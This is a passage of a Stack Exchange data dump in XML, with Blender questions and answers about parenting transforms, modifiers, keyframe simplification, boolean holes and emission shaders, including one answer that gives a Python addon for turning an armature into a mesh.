get some advice on what I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MORE INFO&lt;/strong&gt;&#xA;It seems to me that when I add the sphere to the cube as a parent, the sphere's rotation is not relative to the cube's. I'd have to rotate the sphere to the same 45 degrees in X. However if I add the sphere the cube as child before I rotate the it, now things work properly. But how do I do it when the cube is already rotated? It would be really not optimal to have to remove rotation every time I wanted to add a child object.&lt;/p&gt;&#xA;" OwnerUserId="7929" LastEditorUserId="7929" LastEditDate="2014-11-11T15:08:21.857" LastActivityDate="2014-12-11T18:18:10.223" Title="Changing object location in local coordinates don't work" Tags="&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18721" PostTypeId="1" AcceptedAnswerId="18722" CreationDate="2014-11-10T21:32:16.297" Score="2" ViewCount="1100" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3OWrU.png&quot; alt=&quot;Materials tab missing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on blender using a friend's computer, and I cannot find the materials tab. I circled the red area where it is usually located for me.&lt;/p&gt;&#xA;" OwnerUserId="7930" LastActivityDate="2016-01-01T18:48:54.563" Title="Materials tab missing" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18722" PostTypeId="2" ParentId="18721" CreationDate="2014-11-10T21:33:30.273" Score="3" Body="&lt;p&gt;It's there, but it's hidden because the properties editor is not wide enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to either&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Scroll the header over a bit by clicking and dragging on the tabs with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/OASpJ.png&quot; alt=&quot;MMB&quot; title=&quot;Middle Mouse Button&quot;&gt; MMB&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Expand the &lt;em&gt;Properties editor&lt;/em&gt; by clicking and dragging on the boundary between the properties editor and the 3D view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/04oWA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-10T21:33:30.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18723" PostTypeId="1" AcceptedAnswerId="18790" CreationDate="2014-11-10T21:35:54.377" Score="1" ViewCount="425" Body="&lt;p&gt;Why the mesh is not displayed correctly in BGE, with or without clothes? Please see the picture and the blend file:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/32783&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2wYjt.jpg&quot; alt=&quot;Picture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="7720" LastEditDate="2014-11-11T19:05:38.097" LastActivityDate="2014-11-12T21:26:15.090" Title="BGE and MakeHuman:Why the mesh is not displayed correctly?" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18724" PostTypeId="2" ParentId="18718" CreationDate="2014-11-10T21:58:58.787" Score="6" Body="&lt;p&gt;You can use the &lt;code&gt;Clamp To&lt;/code&gt; Constraint on a &lt;code&gt;Bezier Circle&lt;/code&gt; to get this, you have to do each separate piece of text, but you can use the same curve. Like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hulk6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rotate the text move along whatever axis (in my case it was the &lt;em&gt;Y&lt;/em&gt;). To rotate a certain number of degrees you can use this formula: &lt;code&gt;(r/90) * degrees&lt;/code&gt;. So if you want to turn &lt;em&gt;90 degrees&lt;/em&gt; and you have a radius of &lt;em&gt;3&lt;/em&gt; then just move the same distance as the radius. Also check &lt;code&gt;Cyclic&lt;/code&gt; if you want the text to be able to go more than a full circle.&#xA;To continue just do this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uxkiy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To figure out how far to move the text each time I used that equation. For me it was: &lt;code&gt;(1.5 / 90) * 270 (3/4 of a circle)&lt;/code&gt; This gives &lt;code&gt;4.5&lt;/code&gt;, then you want to split that distance between &lt;em&gt;10&lt;/em&gt; items, so you get to move it &lt;code&gt;0.45&lt;/code&gt; on the &lt;code&gt;-X&lt;/code&gt; axis in my case.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="2617" LastEditDate="2014-11-11T17:40:09.590" LastActivityDate="2014-11-11T17:40:09.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18726" PostTypeId="2" ParentId="18683" CreationDate="2014-11-11T00:51:44.820" Score="4" Body="&lt;p&gt;The operator to handle the corner-cases material conversions was removed from the Blender 2.70 series. In order to use it open Blender 2.69 or an earlier one and access the option from the help menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mdZzL.png&quot; alt=&quot;TexFace to Material Convert&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2014-11-11T00:51:44.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18729" PostTypeId="1" CreationDate="2014-11-11T01:21:33.220" Score="0" ViewCount="1918" Body="&lt;p&gt;I have a BVH file from my Mocap suit that contains 2892 frames, where each frame is a keyframe. The animation runs very slow at about 1/3 speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I speed up my animation by removing about 2/3 of keyframes? I have found out that I can open NLA editor and change timing from 0 - 2892 frames to 0 - 900 frames and it will do what I need, yet it disallows all future keyframe edits.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I optimize my keyframes? Many of these keyframes are not necessary and can be dealt with interpolation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7936" LastEditorUserId="2217" LastEditDate="2014-11-11T01:24:01.490" LastActivityDate="2014-11-11T02:24:46.173" Title="How to change timing of my mocap BVH and how to optimize keyframes" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18730" PostTypeId="2" ParentId="18729" CreationDate="2014-11-11T02:24:46.173" Score="2" Body="&lt;p&gt;You can use the &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Curve_Simplify&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simplify Curves&lt;/a&gt;&lt;/strong&gt; addon, which is already with your Blender.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the Addon;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to &lt;strong&gt;Graph Editor&lt;/strong&gt;, select all curves that you want to simplify, press &lt;kbd&gt;Space&lt;/kbd&gt; and search for &lt;em&gt;Simplify Curves&lt;/em&gt;. Then press &lt;kbd&gt;F6&lt;/kbd&gt; to tweak the &lt;em&gt;Error&lt;/em&gt; theshold.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dHwPJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gUI0S.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more accurate, you have to remove those unneeded &quot;interpolated&quot; keys manually, which needs time.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-11T02:24:46.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18731" PostTypeId="1" AcceptedAnswerId="20806" CreationDate="2014-11-11T04:28:26.233" Score="4" ViewCount="1492" Body="&lt;p&gt;I'm using the mesh found in this &lt;a href=&quot;http://cdn.tutsplus.com/cg/uploads/2014/02/Blender-Facial-Animation-PT1-Project_Files.rar&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&#xA;which is animated using shape keys. I'm wondering how I can do the same animation but using bones (armature) instead? So if anyone could please advise.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-02-13T01:47:51.290" Title="Animate a mesh using bones rotations instead of shape keys" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;shape-keys&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18732" PostTypeId="1" CreationDate="2014-11-11T04:46:01.413" Score="4" ViewCount="1956" Body="&lt;p&gt;So, I have this square, and I would like to add a lot of little holes to it.  Something like this: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/vbJ3g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, ports from a wire or something.  But, alas, when I try to move the port back into the square object: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/WUdSl.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;The original face of the square remains stoically in place.  How to I put round holes in a flat face?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="12" LastEditDate="2014-11-11T06:02:08.973" LastActivityDate="2014-11-11T06:56:36.793" Title="Cutting holes into a flat surface" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18733" PostTypeId="1" AcceptedAnswerId="18734" CreationDate="2014-11-11T04:46:07.363" Score="2" ViewCount="117" Body="&lt;p&gt;I'm reading a relatively old book on Blender (The Essential Blender), which covers version 2.44 of the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I'm using version 2.72 of the software, I've been able to work my way around most changes since the version referenced by the book. However, in the chapter I'm currently covering (&lt;em&gt;Sculpting and Multiresolution Modeling&lt;/em&gt;), I've seemed to have hit a bit of a road block. Here's what a quote from the book:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;em&gt;Let's make the cube &quot;multiresolution&quot;. RMB to select the cube and press &quot;Add Multires&quot; in the Multires Panel of the Edit Buttons (F9).&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I'm blind, but I can't seem to find this 'Multires&quot; tab anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In version 2.72, where is the tab located?&lt;/p&gt;&#xA;" OwnerUserId="7937" LastEditorUserId="599" LastEditDate="2014-11-11T17:35:49.530" LastActivityDate="2014-11-11T17:35:49.530" Title="Cannot locate the &quot;Multi Resolution&quot; tab" Tags="&lt;interface&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18734" PostTypeId="2" ParentId="18733" CreationDate="2014-11-11T05:44:20.713" Score="6" Body="&lt;p&gt;What you want is the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Multiresolution&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Multiresoultion&lt;/em&gt; modifier&lt;/a&gt;. It is in the &lt;em&gt;Modifiers&lt;/em&gt; tab under the &lt;em&gt;Generate&lt;/em&gt; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAUyw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-11-11T05:44:20.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18735" PostTypeId="2" ParentId="18645" CreationDate="2014-11-11T05:47:49.337" Score="8" Body="&lt;p&gt;Blender doesn't support rendering armatures directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is intentional and there is no plan to add support for this feature.&lt;/em&gt; ~ @ideasman42&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, I've come up with script to convert armature into mesh or skin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implemented as blender addon, only BBone armature style is supported (bezier bones, subdivided bones etc are untested).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creates mesh if armature in &quot;pose&quot; mode. Creates SKIN if armature is in &quot;skin&quot; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;armature_to_mesh.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&quot;name&quot;: &quot;Armature To Mesh&quot;, &quot;category&quot;: &quot;Object&quot;}&#xA;&#xA;import bpy&#xA;import mathutils&#xA;&#xA;class ArmatureToMesh(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Armature to mesh/skin conversion script&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.armature_to_mesh_skin&quot;&#xA;    bl_label = &quot;Armature to Mesh/Skin&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def decomposeMatrix(self, matrix):&#xA;        return [x.to_3d() for x in matrix.transposed()]&#xA;&#xA;    def processArmature(self, context, arm, genVertexGroups = True):&#xA;        print(&quot;processing armature {0}&quot;.format(arm.name))&#xA;&#xA;        if genVertexGroups:&#xA;            #because setting pose_position ot 'REST' manually doesn't work for some reason.&#xA;            genVertexGroups = arm.data.pose_position == 'REST'&#xA;&#xA;        meshName = arm.name + &quot;_mesh&quot;&#xA;        meshData = bpy.data.meshes.new(meshName + &quot;Data&quot;)&#xA;        meshObj = bpy.data.objects.new(meshName, meshData)&#xA;        meshObj.location = arm.location&#xA;&#xA;        scene = context.scene&#xA;        scene.objects.link(meshObj)&#xA;&#xA;        armMatrix = arm.matrix_local.copy()&#xA;&#xA;        verts = []&#xA;        edges = []&#xA;        faces = []&#xA;        vertexGroups = {}&#xA;&#xA;&#xA;        for bone in arm.pose.bones:&#xA;            poseBone = bone&#xA;            boneName = bone.name&#xA;            armBone = arm.data.bones[boneName]&#xA;            #print(poseBone.matrix)&#xA;            #print(armBone.matrix)&#xA;            #print(boneName)&#xA;&#xA;            boneMatrix = poseBone.matrix&#xA;            boneStart = poseBone.head&#xA;            boneEnd = poseBone.tail&#xA;&#xA;            decomposedMatrix = self.decomposeMatrix(boneMatrix)&#xA;            #print(decomposedMatrix)&#xA;            xSize = armBone.bbone_x&#xA;            zSize = armBone.bbone_z&#xA;            #print(xSize, zSize)&#xA;            xSizeAdd = bone.x_axis&#xA;            zSizeAdd = bone.z_axis&#xA;            xSizeAdd = decomposedMatrix[0]&#xA;            zSizeAdd = decomposedMatrix[2]&#xA;            ySizeAdd = decomposedMatrix[1]&#xA;            origin = mathutils.Vector((0.0, 0.0, 0.0)) * boneMatrix&#xA;            xSizeAdd *= xSize&#xA;            zSizeAdd *= zSize&#xA;            ySizeAdd *= bone.length&#xA;&#xA;            baseIndex = len(verts)&#xA;&#xA;            verts.append((boneStart - xSizeAdd + zSizeAdd)*armMatrix)&#xA;            verts.append((boneStart + xSizeAdd + zSizeAdd)*armMatrix)&#xA;            verts.append((boneStart - xSizeAdd - zSizeAdd)*armMatrix)&#xA;            verts.append((boneStart + xSizeAdd - zSizeAdd)*armMatrix)&#xA;            verts.append((boneEnd - xSizeAdd + zSizeAdd)*armMatrix)&#xA;            verts.append((boneEnd + xSizeAdd + zSizeAdd)*armMatrix)&#xA;            verts.append((boneEnd - xSizeAdd - zSizeAdd)*armMatrix)&#xA;            verts.append((boneEnd + xSizeAdd - zSizeAdd)*armMatrix)&#xA;&#xA;            base = baseIndex&#xA;            newFaces = [&#xA;                (base+0, base+1, base+3, base+2),&#xA;                (base+5, base+4, base+6, base+7),&#xA;                (base+1, base+0, base+4, base+5),&#xA;                (base+2, base+3, base+7, base+6),&#xA;                (base+3, base+1, base+5, base+7),&#xA;                (base+0, base+2, base+6, base+4)&#xA;                ]&#xA;            faces.extend(newFaces)&#xA;&#xA;            if genVertexGroups:&#xA;                vertexGroups[boneName] = [(x, 1.0) for x in range(baseIndex, len(verts))]&#xA;&#xA;        meshData.from_pydata(verts, edges, faces)&#xA;&#xA;        if genVertexGroups:&#xA;            for name, vertexGroup in vertexGroups.items():&#xA;                groupObject = meshObj.vertex_groups.new(name)&#xA;                for (index, weight) in vertexGroup:&#xA;                    groupObject.add([index], weight, 'REPLACE')&#xA;&#xA;            modifier = meshObj.modifiers.new('ArmatureMod', 'ARMATURE')&#xA;            modifier.object = arm&#xA;            modifier.use_bone_envelopes = False&#xA;            modifier.use_vertex_groups = True&#xA;&#xA;        meshData.update()&#xA;&#xA;        return meshObj&#xA;&#xA;    def processObject(self, context, obj):&#xA;        if (obj == None):&#xA;            return False&#xA;        if (obj.type != &quot;ARMATURE&quot;):&#xA;            print (&quot;invalid type {0} of object {1}: armature expected&quot;.format(obj.type, obj.name))&#xA;            return False&#xA;        self.processArmature(context, obj)&#xA;        return True&#xA;&#xA;    def execute(self, context):&#xA;            scene = context.scene&#xA;            selected = context.selected_objects&#xA;            processedAnything = False&#xA;            if len(selected) &amp;gt; 0:&#xA;                print (&quot;selected objects present, processing selection&quot;)&#xA;                for obj in selected:&#xA;                    processedAnything |= self.processObject(context, obj)&#xA;                pass&#xA;            else:&#xA;                print (&quot;processing active object&quot;)&#xA;                obj = context.active_object&#xA;                processedAnything |= self.processObject(context, obj)&#xA;&#xA;            if not processedAnything:&#xA;                print (&quot;no objects processed&quot;)&#xA;&#xA;            return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ArmatureToMesh)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ArmatureToMesh)&#xA;&#xA;##register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRUtG.png&quot; alt=&quot;Armature-to-skin in action. Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7889" LastEditorUserId="55" LastEditDate="2015-04-26T15:57:58.820" LastActivityDate="2015-04-26T15:57:58.820" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18736" PostTypeId="2" ParentId="18732" CreationDate="2014-11-11T06:01:37.473" Score="8" Body="&lt;p&gt;There are several ways to go about this, most common and easiest is to use a boolean modifier. Select the plane and add a &lt;em&gt;Boolean&lt;/em&gt; modifier to it, In hte &lt;em&gt;Object&lt;/em&gt; field, select the object you want to stamp holes with (ie some cylinders joined together) and change the &lt;em&gt;Operation&lt;/em&gt; to &lt;em&gt;Difference&lt;/em&gt;. Next apply the modifer, delete or hide the cyclinders then &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit&lt;/em&gt; mode and box select the botton half of the mesh that protruded down and delete these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xEA8f.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your mesh has thickness, you can just delete or hide the cylinders after applying the boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vs4Y4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also further read up on some more techniques here &lt;a href=&quot;http://www.blendernation.com/2013/07/14/8-methods-of-cutting-holes/&quot; rel=&quot;noreferrer&quot;&gt;http://www.blendernation.com/2013/07/14/8-methods-of-cutting-holes/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-11-11T06:56:36.793" LastActivityDate="2014-11-11T06:56:36.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18737" PostTypeId="2" ParentId="18731" CreationDate="2014-11-11T06:13:01.153" Score="0" Body="&lt;p&gt;I've been experimenting with facial armatures!&#xA;I use envelope weights, weight paint, and bone constraints to mirror sides of the face, and I was trying to make a weird sort of pentagraph-like thing for shaping the outer mouth and cheeks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ &lt;a href=&quot;http://ball2000.net/blender/shapebones/&quot; rel=&quot;nofollow&quot;&gt;http://ball2000.net/blender/shapebones/&lt;/a&gt; ]&lt;/p&gt;&#xA;" OwnerUserId="7610" LastActivityDate="2014-11-11T06:13:01.153" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18738" PostTypeId="1" AcceptedAnswerId="18741" CreationDate="2014-11-11T11:35:01.153" Score="5" ViewCount="2974" Body="&lt;p&gt;Sorry for my trivial question.&#xA;I'm a newbie and I'm walking through a &lt;a href=&quot;http://gryllus.net/Blender/PDFTutorials/08BCave_iTunesU/Cave.pdf&quot; rel=&quot;nofollow&quot;&gt;cave tutorial&lt;/a&gt;. I can deform a mesh with a NURBS curve but I can't further edit the deformation through manipulating the curve after applying the modifier. Pressing &lt;em&gt;Apply&lt;/em&gt; on the modifier 'freezes' the effect and the modifier icon in the object tree disappears (is that a standard behaviour?). Moreover, when the mouse pointer is over the &lt;em&gt;Apply&lt;/em&gt; or &lt;em&gt;Apply as Shape&lt;/em&gt; buttons, I read the same tip: 'Apply modifier and remove from the stack'. Is that a bug? My configuration is &lt;strong&gt;Blender 2.72b&lt;/strong&gt; on &lt;strong&gt;Ubuntu 12.04 LTS&lt;/strong&gt; (64 bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I can edit the deformation &lt;strong&gt;before&lt;/strong&gt; the modifier is applied. I expected a further deformation editing through the curve manipulating because I am too influenced by CATIA :)&lt;/p&gt;&#xA;" OwnerUserId="7940" LastEditorUserId="241" LastEditDate="2014-11-11T14:45:28.083" LastActivityDate="2018-04-18T07:46:37.520" Title="Cannot change curve modifier after pressing 'Apply'" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18739" PostTypeId="1" AcceptedAnswerId="18742" CreationDate="2014-11-11T11:44:10.960" Score="4" ViewCount="2412" Body="&lt;p&gt;I wrote an algorithm to randomly generate terrain and I am trying to load and edit my results with blender.  The problem is that when I load my terrain in blender, the individual triangles are not linked together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rb60Z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VEVpV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;You can see when I shrink/flatten a subset the the faces, the rest don't follow and deform as a single mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried deleting the faces and edges and using &lt;kbd&gt;F&lt;/kbd&gt; to create faces from the points, but it does not give usable results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZh1C.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about solving this problem?  &lt;/p&gt;&#xA;" OwnerUserId="7939" LastEditorUserId="2217" LastEditDate="2014-11-11T14:13:10.407" LastActivityDate="2014-11-11T19:40:42.980" Title="How to convert many triangles to one mesh?" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18740" PostTypeId="2" ParentId="18739" CreationDate="2014-11-11T11:47:40.730" Score="4" Body="&lt;p&gt;Select all triangles in &lt;em&gt;Object mode&lt;/em&gt;, if the scene has no other objects &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Join them to a single mesh &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Finally remove duplicated vertices.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In case the triangles are loose faces of a single object, removal of duplicate vertices should do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lizry.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-11-11T19:40:42.980" LastActivityDate="2014-11-11T19:40:42.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18741" PostTypeId="2" ParentId="18738" CreationDate="2014-11-11T12:53:01.060" Score="7" Body="&lt;p&gt;The purpose of 'Applying' a modifier is to make the changes that the modifier has made, permanent. Any deformation or change to the geometry a modifier may have caused will overwrite the original geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as the modifiers are present in the modifier 'stack' (where the modifiers get listed), they will be able to be edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not followed every step of the tutorial you linked to, but unless the tutorial says to apply the modifier there is no need to. It is perfectly fine to have many modifiers on an object and never apply them, allowing non-destructive editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See more information about modifiers and the modifier stack in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/The_Stack&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2018-04-17T15:45:27.443" LastActivityDate="2018-04-17T15:45:27.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18742" PostTypeId="2" ParentId="18739" CreationDate="2014-11-11T14:10:37.230" Score="8" Body="&lt;p&gt;You have a mesh with many unconnected faces.&lt;br&gt;&#xA;In edit mode select all the triangles with &lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;. Then press &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Remove Doubles&lt;/em&gt;. Or on the tool shelf &lt;kbd&gt;T&lt;/kbd&gt; under the &lt;em&gt;Tools&lt;/em&gt; tab press the &lt;em&gt;Remove Doubles&lt;/em&gt; button.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-11-11T14:10:37.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18743" PostTypeId="1" AcceptedAnswerId="18744" CreationDate="2014-11-11T15:01:32.293" Score="13" ViewCount="26642" Body="&lt;p&gt;How do I achieve this effect in Cycles?&lt;/p&gt;&#xA;" OwnerUserId="7858" LastEditorUserId="3078" LastEditDate="2015-06-11T17:05:16.140" LastActivityDate="2015-06-11T17:05:16.140" Title="How to make an object emit light in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18744" PostTypeId="2" ParentId="18743" CreationDate="2014-11-11T15:08:36.480" Score="13" Body="&lt;p&gt;To make an object emit light you use an &lt;em&gt;emission shader&lt;/em&gt;.  Go to the &lt;em&gt;materials&lt;/em&gt; tab on the &lt;em&gt;properties editor&lt;/em&gt;, then add a new material and change the shader from the default &lt;em&gt;diffuse&lt;/em&gt; to &lt;em&gt;emission&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-11-11T15:08:36.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18745" PostTypeId="2" ParentId="18719" CreationDate="2014-11-11T15:20:38.770" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Parenting&quot; rel=&quot;nofollow&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Parenting&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The “Clear Parent Inverse” function sets this inverse transformation to the identity transformation, so the child picks up the full parent object transformation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I guess instead of adding the object to the parent with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;, I have to do it so with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;, so that the child+parent relation ship is set and the Clear Parent Inverse is performed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I don't understand the details so if anyone adds a proper answer I'll mark it as answer. For now though this will be the answer for this question.&lt;/p&gt;&#xA;" OwnerUserId="7929" LastActivityDate="2014-11-11T15:20:38.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
